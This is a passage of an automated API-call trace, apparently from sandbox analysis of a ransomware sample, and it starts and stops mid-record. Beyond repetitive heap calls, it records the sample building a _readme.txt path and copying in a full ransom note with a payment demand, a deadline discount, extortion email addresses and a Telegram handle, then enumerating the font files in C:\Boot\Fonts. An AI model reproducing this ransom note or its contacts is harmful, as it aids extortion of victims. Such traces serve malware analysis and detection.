Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.578] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.578] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.578] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.578] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.578] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.578] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0119.578] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.578] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.578] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.578] PathFindFileNameW (pszPath="") returned="" [0119.578] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.578] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.578] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.578] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.578] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.578] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.578] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.579] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0119.579] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.579] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.579] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0119.580] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.580] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.580] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.580] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.580] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.580] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.580] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.580] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.580] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.580] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.580] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.580] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.580] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0119.580] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0119.580] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0119.580] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0119.581] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0119.581] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0119.581] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.581] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.581] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.581] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.581] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.581] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.581] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.581] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.581] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.581] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.581] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.581] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.581] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.581] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.581] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.582] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.582] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.582] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.582] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.582] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.582] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.582] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.582] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.582] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.582] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.582] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.582] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.582] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.582] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.582] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.582] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.582] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.583] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.583] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.583] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.583] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.583] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.583] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.583] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.583] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.583] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.583] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.583] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.583] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.583] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.583] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, 